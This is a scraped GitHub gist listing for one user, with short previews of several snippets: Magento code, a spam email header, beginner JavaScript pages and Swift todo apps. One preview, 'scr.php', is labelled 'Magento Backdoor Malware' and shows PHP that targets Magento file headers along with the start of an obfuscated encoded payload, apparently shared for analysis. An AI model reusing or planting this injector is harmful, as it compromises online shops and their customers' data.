Skip to content

Instantly share code, notes, and snippets.

Jan Brinkmann luckyduck

Block or report user

Report or block luckyduck

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:9c91851329775ee8b2e71f48e585628a
Array
(
[ES_ADDRESS_DATA] => Array
(
[STREET] =>
[HOUSE_NO] =>
[POSTL_COD1] =>
[CITY] =>
[COUNTRY] =>
[TEL_NO] =>
@luckyduck
luckyduck / scr.php
Created Sep 8, 2018
Magento Backdoor Malware
View scr.php
WORD
<?php
$regexTag = '# \* @category \s*Mage#';
$code = <<<'CODE'
*/
$swvJgN7="xQC+BaIOTBpEqTcQblQx5josN1zjqjFvNxlbbYnZNehr6bIY+iP6cwGBxTaHM7+pt5hmf2i/O4aEgvfCRfdJlMGS9RF0N5b83JCApZWFy0NHCplDxGRW3SxW0wZE142Nmf+7FgrnSoIQbmGT5MtwMBPKSMwd/iJG/YimplO02wgCM10Ivq1EtfgoP+AWezctDmP46MXr8Wwa+bgP6MMpmN5T/Yvoi22WXkzhBHd8BZvIXRoIsUADqgfvefeS3TlHavJw9VtGmBdzmU+o21+AZvXDVEK6EKSIi+R7VoiBpdhJTUstir45aKFjjBj4LdR0R/3dEzoNVQRLOmGpil9DqU6Mf1ELgyKywwxZUwOne2qLh3B/qdltngudFA0s8Abgo8gezeRq2i01pSA4MywmLEaJze7k2eJ4TWjgVurEYKKIIMHbtJhlPWOJUMswpVDHRqcsImkiHb4xEI2CBlwwNCdlKRs6eCapeVknqp3tzMzgUTqEg01/pQ7Gy7TE6HAXjlrmvNtl9GsetR2HcD0tvNzoDikre63Qr3W09fidbTWA+JEnhxeP6KfBoQKVicU/9XSZbs7JIJDhhxgAPxaLMOBqIhT5NmKJK7FzCOJYNw3QUdgw5qXzNWG2I4Abtz/H1VNhFiJcxKjvkH4Cq7eMCzKQyJ2xQB8hYxLUN4KQxDLx7KsRlYIZZgxiC65C61zk5yET7p7UC+8FRa6sbTFrV3uLcpt0T37Mj8kE2N8ZodEm93OVfcpSBjE1MGLV0CdgBF3ZxHjpk+csTtcwSjo9evDMG5vhZ8YdXUF15Pk3mG6gehYe3IbXzcg39+tIC2Cf9usIz1Y7AAhFIM/eqCAR+xguxQOa28Zj3eEA3FPb1MywzSI7okuO9sU9DoQxg0hQmcCasgiih3WK1WE+BkjBtYCGBusDU2UAvzUU4z98bF3X
View di.xml
<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
<!-- filter product list -->
<type name="Magento\Catalog\Model\Layer">
<plugin sortOrder="1" name="customCategoryFilter" type="...\LayerPlugin"/>
</type>
</config>
View LayerPlugin.php
<?php
namespace ...;
class LayerPlugin
{
const FILTER_ADDED_KEY = 'tierPriceAdded';
/**
* @var \Magento\Framework\Registry
View gist:7563710e6a590310b846812975447034
public function couponPostAction()
{
/**
* No reason continue with empty shopping cart
*/
if (!$this->_getCart()->getQuote()->getItemsCount()) {
$this->_goBack();
return;
}
View gist:4764e9c877c7430ca4ec
Return-Path: <linsyoga@yahoo.com>
X-Original-To: mail@janbrinkmann.de
Delivered-To: lucky@the-luckyduck.de
Received: from miyu.efoz.cc (miyu.efoz.cc [89.46.101.97])
by the-luckyduck.de (Postfix) with ESMTP id CB66F114A
for <mail@janbrinkmann.de>; Wed, 9 Dec 2015 09:32:07 +0100 (CET)
To: mail@janbrinkmann.de
Subject: Firmenkugelschreiber inkl. Druck und aller Kosten 59 Cent
[...]
View gist:4f5d8b80f9c5a8b3eab0
<!DOCTYPE html>
<html>
<head>
<title>Summieren</title>
<meta charset="UTF-8">
</head>
<body>
<script type="text/javascript">
View gist:8101138da237d42fb9b2
import UIKit
class ViewController: UIViewController, UITableViewDataSource, NewtodoViewControllerDelegate {
@IBOutlet weak var tableView: UITableView!
var todos: [String] = ["Login umsetzen", "Debugging"] {
didSet {
self.tableView.reloadData()
}
}
View gist:34aa45a2bbbfdb063449
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>Wann wird Javascript ausgeführt?</title>
</head>
<body>
<script type="text/javascript">
function meinJavascript() {
View gist:28f215c74cf463cf3ceb
import UIKit
class ViewController: UIViewController, UITableViewDataSource, NewtodoViewControllerDelegate {
@IBOutlet weak var tableView: UITableView!
var todos: [String] = ["Login umsetzen", "Debugging"] {
didSet {
self.tableView.reloadData()
}
}
You can’t perform that action at this time.